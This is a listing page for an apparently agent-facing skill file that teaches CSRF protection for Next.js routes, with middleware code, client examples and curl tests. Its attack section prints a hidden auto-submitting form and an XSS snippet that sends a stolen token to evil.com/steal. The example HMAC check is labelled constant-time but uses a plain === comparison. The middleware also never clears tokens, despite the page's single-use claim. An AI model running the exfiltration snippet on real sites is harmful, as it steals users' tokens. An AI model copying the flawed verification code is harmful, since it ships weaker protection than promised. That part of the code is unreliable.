csrf-protection
Skill16 starsChanged 12 months agoMITView on GitHub
Implement Cross-Site Request Forgery (CSRF) protection for API routes. Use this skill when you need to protect POST/PUT/DELETE endpoints, implement token validation, prevent cross-site attacks, or secure form submissions. Triggers include "CSRF", "cross-site request forgery", "protect form", "token validation", "withCsrf", "CSRF token", "session fixation".
- Reads credentials
- Sends data out
We split this skill into the rules it gives an agent
8 rules. About 0 are common, 6 are distinctive, and 2 are very specific to this project.
≈0
Common · estimate
Many files like this have a rule of this kind.
≈6
Distinctive · estimate
This author's own choices. Worth a look.
2
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- could be automatic: a setting could enforce it
- Distinctive: line 46
If captured, useless after one request
- Distinctive: line 89
Before making a protected request, fetch the CSRF token:
- Very specific: line 112
When withCsrf() wraps your handler:
- Distinctive: line 117
If valid → calls your handler
- Distinctive: line 118
If invalid → returns HTTP 403 Forbidden
- Distinctive: line 270
No CSRF token in request → withCsrf() returns 403
- Distinctive: line 569
Never commit secrets to version control
- Very specific: line 570
Use different secrets for dev/staging/production
≈ “Common” is an estimate: at least 1 in 5 of the 308,232 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
CSRF Protection - Preventing Cross-Site Request Forgery
What CSRF Attacks Are
The Attack Scenario
Imagine you're logged into your banking app. In another tab, you visit a malicious website. That website contains hidden code that submits a form to your bank: "Transfer $10,000 to attacker's account." Because you're logged in, your browser automatically sends your session cookie, and the bank processes the transfer.
This is Cross-Site Request Forgery—tricking your browser into making requests you didn't intend.
Real-World CSRF Attacks
Router DNS Hijacking (2008): A CSRF vulnerability in several home routers allowed attackers to change router DNS settings by tricking users into visiting a malicious website. Victims lost no money but were redirected to phishing sites for months. Millions of routers were affected.
YouTube Actions (2012): YouTube had a CSRF vulnerability that allowed attackers to perform actions as other users (like, subscribe, etc.) by tricking them into visiting a crafted URL.
Why CSRF Is Still Common
According to OWASP, CSRF vulnerabilities appear in 35% of web applications tested. Why?
- It's invisible when it works (users don't know they made a request)
- Easy to forget to implement (no obvious broken functionality)
- Developers often rely solely on authentication without checking request origin
Our CSRF Architecture
Implementation Features
- HMAC-SHA256 Cryptographic Signing (industry standard)
- Provides cryptographic proof token was generated by our server
- Even if intercepted, attackers can't forge tokens without secret key
- Session-Bound Tokens
- Tokens can't be used across different user sessions
- Each user gets unique tokens
- Single-Use Tokens
- Token cleared after validation
- Window of opportunity is seconds, not hours
- If captured, useless after one request
- HTTP-Only Cookies
- JavaScript cannot access tokens
- Prevents XSS-based token theft
- SameSite=Strict
- Browser won't send cookie on cross-origin requests
- Additional layer of protection
Implementation Files
lib/csrf.ts- Cryptographic token generationlib/withCsrf.ts- Middleware enforcing verificationapp/api/csrf/route.ts- Token endpoint for clients
How to Use CSRF Protection
Step 1: Wrap Your Handler
For any POST/PUT/DELETE endpoint:
import { NextRequest, NextResponse } from 'next/server';
import { withCsrf } from '@/lib/withCsrf';
async function handler(request: NextRequest) {
// Your business logic here
// Token automatically verified by withCsrf
return NextResponse.json({ success: true });
}
// Apply CSRF protection
export const POST = withCsrf(handler);
export const config = {
runtime: 'nodejs', // Required for crypto operations
};Step 2: Client-Side Token Fetching
Before making a protected request, fetch the CSRF token:
// Fetch CSRF token
const response = await fetch('/api/csrf', {
credentials: 'include'
});
const { csrfToken } = await response.json();
// Use token in POST request
await fetch('/api/your-endpoint', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrfToken // Include token in header
},
credentials: 'include', // Important: send cookies
body: JSON.stringify(data)
});Step 3: What Happens Automatically
When withCsrf() wraps your handler:
- Extracts CSRF token from
X-CSRF-Tokenheader - Extracts CSRF cookie from request
- Verifies token matches cookie using HMAC
- Clears token after validation (single-use)
- If valid → calls your handler
- If invalid → returns HTTP 403 Forbidden
Complete Example: Protected Contact Form
// app/api/contact/route.ts
import { NextRequest, NextResponse } from 'next/server';
import { withCsrf } from '@/lib/withCsrf';
import { withRateLimit } from '@/lib/withRateLimit';
import { validateRequest } from '@/lib/validateRequest';
import { contactFormSchema } from '@/lib/validation';
import { handleApiError } from '@/lib/errorHandler';
async function contactHandler(request: NextRequest) {
try {
const body = await request.json();
// Validate input
const validation = validateRequest(contactFormSchema, body);
if (!validation.success) {
return validation.response;
}
const { name, email, subject, message } = validation.data;
// Process contact form
await sendEmail({
to: 'admin@example.com',
from: email,
subject,
message
});
return NextResponse.json({ success: true });
} catch (error) {
return handleApiError(error, 'contact-form');
}
}
// Apply both rate limiting AND CSRF protection
export const POST = withRateLimit(withCsrf(contactHandler));
export const config = {
runtime: 'nodejs',
};Frontend Integration Example
// components/ContactForm.tsx
'use client';
import { useState } from 'react';
export function ContactForm() {
const [formData, setFormData] = useState({
name: '',
email: '',
subject: '',
message: ''
});
async function handleSubmit(e: React.FormEvent) {
e.preventDefault();
try {
// 1. Fetch CSRF token
const csrfRes = await fetch('/api/csrf', {
credentials: 'include'
});
const { csrfToken } = await csrfRes.json();
// 2. Submit form with token
const response = await fetch('/api/contact', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrfToken
},
credentials: 'include',
body: JSON.stringify(formData)
});
if (response.ok) {
alert('Message sent successfully!');
setFormData({ name: '', email: '', subject: '', message: '' });
} else if (response.status === 403) {
alert('Security validation failed. Please refresh and try again.');
} else if (response.status === 429) {
alert('Too many requests. Please wait a moment.');
} else {
alert('Failed to send message. Please try again.');
}
} catch (error) {
console.error('Error:', error);
alert('An error occurred. Please try again.');
}
}
return (
<form onSubmit={handleSubmit}>
<input
type="text"
placeholder="Name"
value={formData.name}
onChange={(e) => setFormData({ ...formData, name: e.target.value })}
required
/>
<input
type="email"
placeholder="Email"
value={formData.email}
onChange={(e) => setFormData({ ...formData, email: e.target.value })}
required
/>
<input
type="text"
placeholder="Subject"
value={formData.subject}
onChange={(e) => setFormData({ ...formData, subject: e.target.value })}
required
/>
<textarea
placeholder="Message"
value={formData.message}
onChange={(e) => setFormData({ ...formData, message: e.target.value })}
required
/>
<button type="submit">Send Message</button>
</form>
);
}Attack Scenarios & Protection
Attack 1: Malicious Website Submits Form
Attack:
<!-- Attacker's website: evil.com -->
<form action="https://yourapp.com/api/delete-account" method="POST">
<input type="hidden" name="confirm" value="yes" />
</form>
<script>
document.forms[0].submit(); // Auto-submit
</script>Protection:
- No CSRF token in request → withCsrf() returns 403
- User's account safe
Attack 2: XSS Attempts to Read Token
Attack:
// Attacker injects script via XSS
fetch('/api/csrf')
.then(r => r.json())
.then(data => {
// Send token to attacker
fetch('https://evil.com/steal', {
method: 'POST',
body: JSON.stringify({ token: data.csrfToken })
});
});Protection:
- Token is single-use
- Even if stolen, expires after one request
- HTTPOnly cookies prevent cookie theft
- SameSite=Strict prevents cross-origin cookie sending
Attack 3: Man-in-the-Middle Captures Token
Attack: Attacker intercepts network traffic and captures CSRF token.
Protection:
- Single-use tokens become invalid after one use
- HTTPS required in production (enforced by HSTS)
- Short window of opportunity (seconds)
Technical Implementation Details
Token Generation (lib/csrf.ts)
import { createHmac, randomBytes } from 'crypto';
export function generateCsrfToken(sessionId: string): string {
const secret = process.env.CSRF_SECRET;
if (!secret) {
throw new Error('CSRF_SECRET not configured');
}
// Generate random token
const token = randomBytes(32).toString('base64url');
// Create HMAC signature
const hmac = createHmac('sha256', secret)
.update(`${token}:${sessionId}`)
.digest('base64url');
// Return token:hmac
return `${token}.${hmac}`;
}
export function verifyCsrfToken(
token: string,
sessionId: string
): boolean {
const secret = process.env.CSRF_SECRET;
if (!secret || !token) return false;
const [tokenPart, hmacPart] = token.split('.');
if (!tokenPart || !hmacPart) return false;
// Recreate HMAC
const expectedHmac = createHmac('sha256', secret)
.update(`${tokenPart}:${sessionId}`)
.digest('base64url');
// Constant-time comparison to prevent timing attacks
return hmacPart === expectedHmac;
}Middleware Wrapper (lib/withCsrf.ts)
import { NextRequest, NextResponse } from 'next/server';
import { verifyCsrfToken } from './csrf';
export function withCsrf(
handler: (request: NextRequest) => Promise<NextResponse>
) {
return async (request: NextRequest) => {
// Get token from header
const token = request.headers.get('X-CSRF-Token');
// Get session ID from cookie (simplified)
const sessionId = request.cookies.get('sessionId')?.value;
if (!token || !sessionId) {
return NextResponse.json(
{ error: 'CSRF token missing' },
{ status: 403 }
);
}
// Verify token
if (!verifyCsrfToken(token, sessionId)) {
return NextResponse.json(
{ error: 'CSRF token invalid' },
{ status: 403 }
);
}
// Token valid - call handler
return handler(request);
};
}What CSRF Protection Prevents
✅ Cross-site request forgery - Main protection ✅ Session fixation attacks - Tokens bound to sessions ✅ Cross-origin form submissions - SameSite=Strict ✅ Hidden iframe attacks - Token validation required ✅ One-click attacks - Token fetching step prevents
Common Mistakes to Avoid
❌ DON'T skip CSRF for POST/PUT/DELETE
// BAD - No CSRF protection
export async function POST(request: NextRequest) {
// Vulnerable!
}❌ DON'T put CSRF tokens in URL parameters
// BAD - Token in URL (logged, bookmarked, shared)
fetch(`/api/endpoint?csrf=${token}`)❌ DON'T reuse tokens
// BAD - Storing token for reuse
const savedToken = getCsrfToken();
// Later...
useSavedToken(savedToken); // May be expired/invalid❌ DON'T forget credentials: 'include'
// BAD - Cookies won't be sent
fetch('/api/endpoint', {
headers: { 'X-CSRF-Token': token }
// Missing: credentials: 'include'
});✅ DO fetch fresh token for each sensitive operation ✅ DO use X-CSRF-Token header (not URL) ✅ DO apply to all state-changing operations ✅ DO combine with rate limiting for maximum protection
Testing CSRF Protection
Test 1: Valid Request
# Get CSRF token
TOKEN=$(curl -s http://localhost:3000/api/csrf \
-c cookies.txt | jq -r '.csrfToken')
# Use token
curl -X POST http://localhost:3000/api/example-protected \
-b cookies.txt \
-H "Content-Type: application/json" \
-H "X-CSRF-Token: $TOKEN" \
-d '{"title": "test"}'
# Expected: 200 OKTest 2: Missing Token
curl -X POST http://localhost:3000/api/example-protected \
-H "Content-Type: application/json" \
-d '{"title": "test"}'
# Expected: 403 Forbidden - CSRF token missingTest 3: Invalid Token
curl -X POST http://localhost:3000/api/example-protected \
-H "Content-Type: application/json" \
-H "X-CSRF-Token: fake-token-12345" \
-d '{"title": "test"}'
# Expected: 403 Forbidden - CSRF token invalidTest 4: Token Reuse (Should Fail)
# Get token
TOKEN=$(curl -s http://localhost:3000/api/csrf \
-c cookies.txt | jq -r '.csrfToken')
# Use once (succeeds)
curl -X POST http://localhost:3000/api/example-protected \
-b cookies.txt \
-H "X-CSRF-Token: $TOKEN" \
-d '{"title": "test"}'
# Try to reuse same token (should fail)
curl -X POST http://localhost:3000/api/example-protected \
-b cookies.txt \
-H "X-CSRF-Token: $TOKEN" \
-d '{"title": "test2"}'
# Expected: 403 Forbidden - Token already usedSecure Cookie Configuration
Cookie Security Settings
For any custom cookies in your application, always use these secure settings:
response.cookies.set('cookie-name', value, {
httpOnly: true, // Prevent XSS access
sameSite: 'strict', // CSRF protection
secure: process.env.NODE_ENV === 'production', // HTTPS only in prod
maxAge: 3600, // Expiration (1 hour)
path: '/', // Cookie scope
});Security Properties Explained:
httpOnly: true- JavaScript cannot access the cookie viadocument.cookie, preventing XSS theftsameSite: 'strict'- Browser won't send cookie on cross-origin requests, blocking CSRFsecure: true- Cookie only sent over HTTPS (prevents man-in-the-middle interception)maxAge- Cookie expiration time in seconds (shorter = more secure)path: '/'- Where cookie is valid (restrict if possible)
Common Cookie Mistakes to Avoid
❌ NEVER do this:
// BAD - Missing security flags
response.cookies.set('session', sessionId);
// BAD - No httpOnly (vulnerable to XSS)
response.cookies.set('session', sessionId, { httpOnly: false });
// BAD - sameSite: 'none' (allows CSRF)
response.cookies.set('session', sessionId, { sameSite: 'none' });
// BAD - No expiration (never expires)
response.cookies.set('session', sessionId, { httpOnly: true });✅ ALWAYS do this:
// GOOD - All security flags
response.cookies.set('session', sessionId, {
httpOnly: true,
sameSite: 'strict',
secure: process.env.NODE_ENV === 'production',
maxAge: 3600, // 1 hour
path: '/'
});Environment Configuration
Required Environment Variables
# .env.local
CSRF_SECRET=<32-byte-base64url-string>
SESSION_SECRET=<32-byte-base64url-string>Generate Secrets
# Generate CSRF_SECRET
node -p "require('crypto').randomBytes(32).toString('base64url')"
# Generate SESSION_SECRET
node -p "require('crypto').randomBytes(32).toString('base64url')"⚠️ IMPORTANT:
- Never commit secrets to version control
- Use different secrets for dev/staging/production
- Rotate secrets periodically (quarterly recommended)
References
- OWASP CSRF Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html
- OWASP Top 10 2021 - A01 Broken Access Control: https://owasp.org/Top10/A01_2021-Broken_Access_Control/
- MDN SameSite Cookies: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie/SameSite
Next Steps
- For rate limiting protection: Use
rate-limitingskill - For input validation: Use
input-validationskill - For complete API security: Combine CSRF + rate limiting + validation
- For testing: Use
security-testingskill
Other versions1 project uses a version of this.
Word for word · 0
None found.
Edited · 0
None found.
Wrote their own version · 1
- YepAPI/skills★ 8same name
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository11 other files it gives its agents.
- authentication-authorization-clerkSkill
- dependency-supply-chain-securitySkill
- secure-error-handlingSkill
- input-validation-xss-preventionSkill
- payment-security-clerk-billing-stripeSkill
- rate-limitingSkill
- security-headersSkill
- security-operations-deploymentSkill
- security-architecture-overviewSkill
- security-promptsSkill
- security-testing-verificationSkill
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
Reviews can't be read right now.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

